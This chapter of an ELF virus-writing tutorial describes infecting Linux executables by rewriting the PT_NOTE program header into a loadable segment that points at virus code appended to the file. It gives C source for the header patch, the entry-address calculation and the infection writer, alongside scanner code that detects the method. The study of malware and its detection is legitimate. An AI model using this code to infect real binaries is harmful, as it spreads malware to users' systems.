Additional code segments

The ELF Virus Writing HOWTO: Introduction
Prev |  | Next

# 8. Additional code segments

| It is common sense to take a method and try it. If it fails, admit it frankly and try another. But above all, try something.
| Franklin D. Roosevelt

This is the platform independent part of Additional code segments[A B C].

Adding a second code segment to an executable is a very simple infection method. Doing that by overwriting an otherwise unused program header makes the method even simpler. Another nice aspect is that it imposes no size limit on inserted code. Unfortunately the infection is trivial to detect. Too trivial, in fact. target_get_seg will bitterly complain about about three `LOAD` segments instead of two, so all scanners based on the framework will detect it. But then even the untrained eye can spot the difference in the output of `readelf`.

## 8.1. The NOTE program header

The ELF header includes a field called `e_machine`, a single integer value. It distinguishes different hardware, but not different operating systems. For example, mechanics of system calls differ between Linux/i386 and FreeBSD/i386. To describe these fine details a separate program header of type `PT_NOTE` is used. NetBSD documentation includes a good description in chapter "Vendor-specific ELF Note Elements". [1] And LSB has this to say: [2]

> Every executable shall contain a section named `.note.ABI-tag` of type `SHT_NOTE`. This section is structured as a note section as documented in the ELF spec. The section must contain at least the following entry. The name field (`namesz`/`name`) contains the string `"GNU"`. The type field shall be 1. The `descsz` field shall be at least 16, and the first 16 bytes of the `desc` field shall be as follows.

> The first 32-bit word of the `desc` field must be 0 (this signifies a Linux executable). The second, third, and fourth 32-bit words of the `desc` field contain the earliest compatible kernel version. For example, if the 3 words are 2, 2, and 5, this signifies a 2.2.5 kernel.

If this section is missing then the ELF loader assumes a plain native executable. On heterogeneous systems removal of this data should not be problem. Of course such modified programs will not work if they are moved to a different system. For example `netscape` is not available for FreeBSD/i386; instead people run the binary for Linux/i386 with a light-weight system call emulator. An infected instance of `/usr/bin/netscape` that is fully functional on Linux/i386 will not work on FreeBSD/i386.

But then above documentation talks only about section `SHT_NOTE` and complete ignores the program header covering the same range of bytes. It could well be that this infection method has no noticeable effect.

On Solaris only a handful of executables feature a program header of type `PT_NOTE`. And while there is a section of type `SHT_NOTE` that covers this region of bytes, it is called `.note`, not `.note.ABI-tag`. Even stranger is `bash 2.03-6` on sparc-debian2.2-linux, it has both sections.

    readelf -S /bin/sh | grep -i NOTE
      [ 2] .note.ABI-tag     NOTE            00010108 000108 000020 00   A   0   0 4
      [23] .note             NOTE            0009e7d8 07c56f 000974 00       0   0 1

## 8.2. Scanning for NOTE

The actual work is done by target_get_seg. The scanner just checks the result and determines minimum and maximum size of found segments.

Source: src/scanner/additional_cs/action.inc

    bool target_action(Target* t, int stat[])
    {
      TEVWH_ELF_PHDR* phdr_note;
      Elf32_Word filesz;

      TRACE_DEBUG(-1, "target_action\n");

      phdr_note = t->phdr_note;
      CHECK_BEGIN(SCAN, phdr_note, !=, 0, -1, void*)
        return false;
      CHECK_END

      filesz = phdr_note->p_filesz;
      /* counters were initialized to zero, real minimum is probably higher */
      if (stat[2] == 0 || filesz < stat[2])
        stat[2] = filesz; /* minimum */
      if (filesz > stat[3])
        stat[3] = filesz; /* maximum */

      TRACE_SCAN(-1, "%s ... p_filesz=%u Ok\n", t->clean_src, filesz);
      return true;
    }

Source: src/scanner/additional_cs/print_summary.inc

    int print_summary(int stat[])
    {
      print_errno(-1, "files=%d; ok=%d; detected=%d; min=%d; max=%d\n",
        stat[0], stat[1], stat[0] - stat[1], stat[2], stat[3]
      );
      return 0;
    }

## 8.3. A simple plan

1. Overwrite program header of type `NOTE` with a code segment definition (type `LOAD`).

2. Append virus code at end of file. Our unrealistic code at Infection #1[A B C] is so small that it actually fits into the `NOTE` segment. But let's just pretend this is real.

## 8.4. target_patch_phdr #2

After target_get_seg set `t->phdr_note` to the correct program header this function is straightforward. Double infection is again impossible by design. If there is no `PT_NOTE` this target is out of reach.

Source: src/additional_cs/patch_phdr.inc

    bool target_patch_phdr(Target* t)
    {
      TEVWH_ELF_PHDR* note;

      TRACE_DEBUG(-1, "target_patch_phdr\n");

      note = t->phdr_note;
      CHECK_BEGIN(SCAN, note, !=, 0, -1, void*)
        return false;
      CHECK_END
      CHECK(INFECT, note->p_type, ==, PT_NOTE);

      note->p_type = PT_LOAD;
      note->p_offset = t->aligned_filesize;
      note->p_vaddr =
      note->p_paddr = target_new_entry_addr(t);
      TRACE_DEBUG(-1, "new_entry_addr=%p\n", note->p_paddr);
      note->p_filesz =
      note->p_memsz = sizeof(infection);
      note->p_flags = t->phdr_code->p_flags;
      note->p_align = t->phdr_code->p_align;
      return true;
    }

## 8.5. target_new_entry_addr #2

We can use any memory region not already occupied. Using one below the magic base of `TEVWH_ELF_BASE` avoids trouble. The room to maneuver is limited, though. See Segment padding infection for the column "Pages below base" and an explanation of "`% TEVWH_ELF_PAGE_SIZE`".

Source: src/additional_cs/new_entry_addr.inc

    TEVWH_ELF_OFF target_new_entry_addr(const Target* t)
    {
      return TEVWH_ELF_BASE - 2 * TEVWH_ELF_PAGE_SIZE
        + t->aligned_filesize % TEVWH_ELF_PAGE_SIZE;
    }

## 8.6. target_patch_shdr #2

Not implemented. To cover the bytes of the new `LOAD` segment with a section we would have to insert a new one in the array of section headers. Right now I'm not in the mood to invest so much time in a hopeless case.

Source: src/additional_cs/patch_shdr.inc

    bool target_patch_shdr(Target* t)
    {
      TRACE_DEBUG(-1, "target_patch_shdr\n");
      return true; /* not implemented */
    }

## 8.7. copy_and_infect #2

Source: src/additional_cs/copy_and_infect.inc

    bool target_copy_and_infect(Target* t, size_t* code_size)
    {
      TRACE_DEBUG(-1, "target_copy_and_infect\n");
      CHECK_WRITE(t->image.b, t->filesize); /* original target */
      CHECK_LSEEK(t->aligned_filesize, SEEK_SET);
      return target_write_infection(t, code_size);
    }

### Notes

[1] | http://www.netbsd.org/Documentation/kernel/elf-notes.html
[2] | http://www.linuxbase.org/spec/gLSB/gLSB/noteabitag.html

Prev | Home | Next
Segment padding infection |  | Remote shell trojan